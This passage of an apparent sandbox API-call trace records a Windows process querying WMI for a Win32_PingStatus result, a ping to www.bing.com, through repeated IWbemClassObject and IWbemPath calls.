SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.437] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.437] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.437] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.437] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe740 | out: puCount=0x59fe740*=0x2) returned 0x0 [0138.437] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe73c*=0xf, pszText=0x0) returned 0x0 [0138.437] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe73c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe73c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.437] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe748*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe73c | out: pNames=0x59fe73c*="\x01ƀ\x04") returned 0x0 [0138.437] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.437] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.437] SafeArrayGetLBound (in: psa=0x5cea100, nDim=0x1, plLbound=0x59fe5d4 | out: plLbound=0x59fe5d4) returned 0x0 [0138.437] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.437] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.437] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.437] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.437] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.437] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.437] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.437] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.437] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.437] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.438] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.438] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.438] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.438] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.438] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.438] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.438] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.438] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.438] SysStringByteLen (bstr="__PATH") returned 0xc [0138.438] SysStringByteLen (bstr="__PATH") returned 0xc [0138.438] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a80c*=0, plFlavor=0x283a810*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x283a80c*=3, plFlavor=0x283a810*=64) returned 0x0 [0138.438] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a840*=0, plFlavor=0x283a844*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283a840*=8, plFlavor=0x283a844*=64) returned 0x0 [0138.438] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.438] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.438] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a898*=0, plFlavor=0x283a89c*=0 | out: pVal=0x59fe738*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a898*=8, plFlavor=0x283a89c*=64) returned 0x0 [0138.438] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a8c0*=0, plFlavor=0x283a8c4*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283a8c0*=8, plFlavor=0x283a8c4*=64) returned 0x0 [0138.438] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.438] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.444] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283a918*=0, plFlavor=0x283a91c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x283a918*=8, plFlavor=0x283a91c*=64) returned 0x0 [0138.444] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.444] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.444] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283aaf0*=0, plFlavor=0x283aaf4*=0 | out: pVal=0x59fe738*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x283aaf0*=3, plFlavor=0x283aaf4*=64) returned 0x0 [0138.444] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283ab24*=0, plFlavor=0x283ab28*=0 | out: pVal=0x59fe738*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283ab24*=8200, plFlavor=0x283ab28*=64) returned 0x0 [0138.445] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283ab58*=0, plFlavor=0x283ab5c*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x283ab58*=8, plFlavor=0x283ab5c*=64) returned 0x0 [0138.445] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.445] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.445] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283aba4*=0, plFlavor=0x283aba8*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x283aba4*=8, plFlavor=0x283aba8*=64) returned 0x0 [0138.445] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.445] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.445] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283abf0*=0, plFlavor=0x283abf4*=0 | out: pVal=0x59fe738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x283abf0*=8, plFlavor=0x283abf4*=64) returned 0x0 [0138.445] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.445] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.445] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe77c | out: puCount=0x59fe77c*=0x2) returned 0x0 [0138.445] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0x0, pszText=0x0 | out: puBuffLength=0x59fe778*=0xf, pszText=0x0) returned 0x0 [0138.445] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe778*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe778*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.445] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="Address", lFlags=0, pVal=0x59fe778*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283ae24*=0, plFlavor=0x283ae28*=0 | out: pVal=0x59fe778*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x283ae24*=8, plFlavor=0x283ae28*=0) returned 0x0 [0138.446] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.446] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.446] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.446] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.446] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.446] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe774 | out: puCount=0x59fe774*=0x2) returned 0x0 [0138.446] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0x0, pszText=0x0 | out: puBuffLength=0x59fe770*=0xf, pszText=0x0) returned 0x0 [0138.446] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe770*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe770*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.446] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe77c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe770 | out: pNames=0x59fe770*="\x01ƀ\x04") returned 0x0 [0138.446] SafeArrayGetDim (psa=0x5cea190) returned 0x1 [0138.446] SafeArrayGetDim (psa=0x5cea190) returned 0x1 [0138.446] SafeArrayGetLBound (in: psa=0x5cea190, nDim=0x1, plLbound=0x59fe608 | out: plLbound=0x59fe608) returned 0x0 [0138.446] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.446] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.446] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.446] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.446] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.446] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.446] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.446] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.446] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.447] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.447] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.447] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.447] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.447] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.447] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.447] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.447] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.447] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.447] SysStringByteLen (bstr="__PATH") returned 0xc [0138.447] SysStringByteLen (bstr="__PATH") returned 0xc [0138.447] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b1f4*=0, plFlavor=0x283b1f8*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x283b1f4*=3, plFlavor=0x283b1f8*=64) returned 0x0 [0138.447] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b228*=0, plFlavor=0x283b22c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283b228*=8, plFlavor=0x283b22c*=64) returned 0x0 [0138.447] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.447] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.448] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b280*=0, plFlavor=0x283b284*=0 | out: pVal=0x59fe76c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b280*=8, plFlavor=0x283b284*=64) returned 0x0 [0138.448] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b2a8*=0, plFlavor=0x283b2ac*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283b2a8*=8, plFlavor=0x283b2ac*=64) returned 0x0 [0138.448] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.448] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.448] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b300*=0, plFlavor=0x283b304*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x283b300*=8, plFlavor=0x283b304*=64) returned 0x0 [0138.448] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.448] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.448] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b4d8*=0, plFlavor=0x283b4dc*=0 | out: pVal=0x59fe76c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x283b4d8*=3, plFlavor=0x283b4dc*=64) returned 0x0 [0138.449] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b50c*=0, plFlavor=0x283b510*=0 | out: pVal=0x59fe76c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283b50c*=8200, plFlavor=0x283b510*=64) returned 0x0 [0138.449] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b540*=0, plFlavor=0x283b544*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x283b540*=8, plFlavor=0x283b544*=64) returned 0x0 [0138.449] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.449] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.449] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b58c*=0, plFlavor=0x283b590*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x283b58c*=8, plFlavor=0x283b590*=64) returned 0x0 [0138.449] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.449] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.449] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b5d8*=0, plFlavor=0x283b5dc*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x283b5d8*=8, plFlavor=0x283b5dc*=64) returned 0x0 [0138.449] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.449] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.449] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0138.449] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0138.450] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.450] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="Address", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b80c*=0, plFlavor=0x283b810*=0 | out: pVal=0x59fe7ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x283b80c*=8, plFlavor=0x283b810*=0) returned 0x0 [0138.450] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.450] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.450] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="Address", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283b80c*=8, plFlavor=0x283b810*=0 | out: pVal=0x59fe860*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x283b80c*=8, plFlavor=0x283b810*=0) returned 0x0 [0138.450] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.450] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.450] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4d4 [0138.450] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.450] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.451] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.451] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c450*=0, plFlavor=0x283c454*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x283c450*=8, plFlavor=0x283c454*=64) returned 0x0 [0138.451] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.451] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.451] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c450*=8, plFlavor=0x283c454*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x283c450*=8, plFlavor=0x283c454*=64) returned 0x0 [0138.451] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.451] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.451] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.451] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.451] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.451] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c4ec*=0, plFlavor=0x283c4f0*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283c4ec*=8, plFlavor=0x283c4f0*=64) returned 0x0 [0138.451] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.451] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.451] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c4ec*=8, plFlavor=0x283c4f0*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283c4ec*=8, plFlavor=0x283c4f0*=64) returned 0x0 [0138.451] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.451] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.451] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.452] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.452] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.452] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c654*=0, plFlavor=0x283c658*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea190*(cDims=0x1, 